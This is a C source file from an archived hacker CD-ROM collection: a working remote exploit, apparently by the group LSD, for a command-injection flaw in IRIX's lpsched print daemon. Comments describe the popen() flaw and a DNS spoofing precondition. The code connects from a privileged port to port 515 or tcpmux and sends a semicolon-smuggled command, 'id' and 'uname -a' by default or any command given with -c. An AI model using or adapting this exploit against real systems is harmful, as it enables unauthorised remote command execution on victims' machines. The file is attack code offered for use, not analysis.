home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / irix / irx_lpsched.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-10-22  |  2.8 KB  |  81 lines

  1. /*## copyright LAST STAGE OF DELIRIUM may 2000 poland        *://lsd-pl.net/ #*/
  2. /*## lpsched                                                                 #*/
  3.  
  4. /*   lpsched usually runs on TCP port 515. sometimes it is not bound to this  */
  5. /*   port - in such case lpsched can be reached through tcpmux/sgi_printer    */
  6. /*   (port 1) and printerd. this code is for a vulnerability that is due to   */
  7. /*   the improper use of popen() libc call in lpsched. as its result          */
  8. /*   a semicolon separated list of commands can be issued on the vulnerable   */
  9. /*   system with the privilages of the lp user. there are however some limits */
  10. /*   imposed on that as only the first line of the executed commands' output  */
  11. /*   is returned to the caller.                                               */
  12.  
  13. /*   remote exploitation requires that a connection is established from the   */
  14. /*   root account (port<1024) and that a proper modification to the DNS       */
  15. /*   is made, so that the attackers' IP address is mapped to the "localhost"  */
  16. /*   name.                                                                    */
  17.  
  18. #include <sys/types.h>
  19. #include <sys/socket.h>
  20. #include <netinet/in.h>
  21. #include <unistd.h>
  22. #include <netdb.h>
  23. #include <stdio.h>
  24. #include <errno.h>
  25.  
  26. main(int argc,char **argv){
  27.     char buffer[10000],*cmd="echo `uname -a` `id`";
  28.     int sck,i,c,on=1,tcpmux=0;
  29.     struct sockaddr_in sadr;
  30.     struct hostent *hp;
  31.  
  32.     printf("copyright LAST STAGE OF DELIRIUM may 2000 poland  //lsd-pl.net/\n");
  33.     printf("lpsched for irix 5.3 6.2 6.3 6.4 6.5 6.5.12 IP:all\n\n");
  34.  
  35.     if(argc<2){
  36.         printf("usage: %s address [-m] [-c \"command\"]\n",argv[0]);exit(-1);
  37.     }
  38.  
  39.     while((c=getopt(argc-1,&argv[1],"c:m"))!=-1){
  40.         switch(c){
  41.         case 'c': cmd=optarg;break;
  42.         case 'm': tcpmux=1;
  43.         }
  44.     }   
  45.  
  46.     sck=socket(AF_INET,SOCK_STREAM,0);
  47.     sadr.sin_family=AF_INET;
  48.     sadr.sin_addr.s_addr=htonl(INADDR_ANY);
  49.     for(i=200;i<1024;i++){
  50.         sadr.sin_port=htons(i);
  51.         if(!bind(sck,(struct sockaddr *)&sadr,sizeof(sadr))) break;
  52.     }if(i==1024) goto err;
  53.  
  54.     setsockopt(sck,SOL_SOCKET,SO_REUSEADDR,(void*)&on,sizeof(on));
  55.  
  56.     sadr.sin_port=htons(tcpmux?1:515);
  57.     if((sadr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
  58.         if((hp=gethostbyname(argv[1]))==NULL) {errno=EADDRNOTAVAIL;goto err;}
  59.         memcpy(&sadr.sin_addr.s_addr,hp->h_addr,4);
  60.     }
  61.  
  62.     if(connect(sck,(struct sockaddr*)&sadr,sizeof(sadr))<0) goto err;
  63.     if(tcpmux) {write(sck,"sgi_printer\n",12);read(sck,buffer,1024);}
  64.  
  65.     sprintf(buffer,"%c;%s\n",(unsigned char)(84),cmd);
  66.     write(sck,buffer,strlen(buffer));
  67.  
  68.     while(1){
  69.         if((i=read(sck,buffer,1024))<1){
  70.             if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
  71.             else break;
  72.         }
  73.         write(1,buffer,i);
  74.     }
  75.     exit(0);
  76.  
  77. err:
  78.     perror("error");
  79. }
  80.  
  81.